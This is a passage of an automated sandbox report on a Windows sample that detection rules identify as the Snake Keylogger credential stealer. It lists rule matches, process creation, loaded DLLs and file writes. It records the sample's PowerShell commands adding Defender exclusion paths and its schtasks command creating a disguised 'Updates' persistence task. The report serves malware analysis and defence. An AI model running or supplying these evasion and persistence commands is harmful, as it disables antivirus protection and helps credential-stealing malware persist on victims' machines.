          Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: Process Memory Space: FT876567090.exe PID: 8124, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: Process Memory Space: EYDNKhhJr.exe PID: 3704, type: MEMORYSTRMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: FT876567090.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: EYDNKhhJr.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, -k.csCryptographic APIs: 'TransformFinalBlock'
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, -cA-.csCryptographic APIs: 'TransformFinalBlock'
          Source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, -cA-.csCryptographic APIs: 'TransformFinalBlock'
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, -k.csCryptographic APIs: 'TransformFinalBlock'
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, -cA-.csCryptographic APIs: 'TransformFinalBlock'
          Source: 10.2.FT876567090.exe.5560000.3.raw.unpack, -cA-.csCryptographic APIs: 'TransformFinalBlock'
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, -k.csCryptographic APIs: 'TransformFinalBlock'
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, -cA-.csCryptographic APIs: 'TransformFinalBlock'
          Source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, -cA-.csCryptographic APIs: 'TransformFinalBlock'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, y9TACZBKrPpfSKJwvL.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, y9TACZBKrPpfSKJwvL.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: _0020.SetAccessControl
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: _0020.AddAccessRule
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: _0020.SetAccessControl
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: _0020.AddAccessRule
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: _0020.SetAccessControl
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, qGBWZDj2yg2TJE6Bru.csSecurity API names: _0020.AddAccessRule
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, y9TACZBKrPpfSKJwvL.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@19/15@5/4
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_004019F0 OleInitialize,_getenv,CreateToolhelp32Snapshot,Module32First,CloseHandle,_malloc,_memset,_memset,_malloc,_memset,LoadLibraryA,10_2_004019F0
          Source: C:\Users\user\Desktop\FT876567090.exeFile created: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeMutant created: NULL
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6740:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7760:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
          Source: C:\Users\user\Desktop\FT876567090.exeFile created: C:\Users\user\AppData\Local\Temp\tmp5055.tmpJump to behavior
          Source: FT876567090.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: FT876567090.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
          Source: C:\Users\user\Desktop\FT876567090.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: FT876567090.exe, 0000000A.00000002.3392046185.00000000032E0000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.00000000032AE000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.0000000003290000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.00000000032D3000.00000004.00000800.00020000.00000000.sdmp, FT876567090.exe, 0000000A.00000002.3392046185.00000000032A0000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003611000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003661000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003654000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.0000000003621000.00000004.00000800.00020000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3390924672.000000000362F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
          Source: FT876567090.exeReversingLabs: Detection: 73%
          Source: C:\Users\user\Desktop\FT876567090.exeFile read: C:\Users\user\Desktop\FT876567090.exeJump to behavior
          Source: unknownProcess created: C:\Users\user\Desktop\FT876567090.exe "C:\Users\user\Desktop\FT876567090.exe"
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe"
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp"
          Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Users\user\Desktop\FT876567090.exe "C:\Users\user\Desktop\FT876567090.exe"
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
          Source: unknownProcess created: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp619B.tmp"
          Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess created: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\FT876567090.exe"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp5055.tmp"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeProcess created: C:\Users\user\Desktop\FT876567090.exe "C:\Users\user\Desktop\FT876567090.exe"Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\EYDNKhhJr" /XML "C:\Users\user\AppData\Local\Temp\tmp619B.tmp"Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeProcess created: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe "C:\Users\user\AppData\Roaming\EYDNKhhJr.exe"Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: dwrite.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: windowscodecs.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: iconcodecservice.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: edputil.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: windows.staterepositoryps.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: appresolver.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: bcp47langs.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: slc.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
          Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
          Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: rasapi32.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: rasman.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: rtutils.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: dhcpcsvc6.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: dhcpcsvc.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: dnsapi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: schannel.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ntasn1.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ncrypt.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeSection loaded: dpapi.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
          Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: kernel.appcore.dllJump to behavior
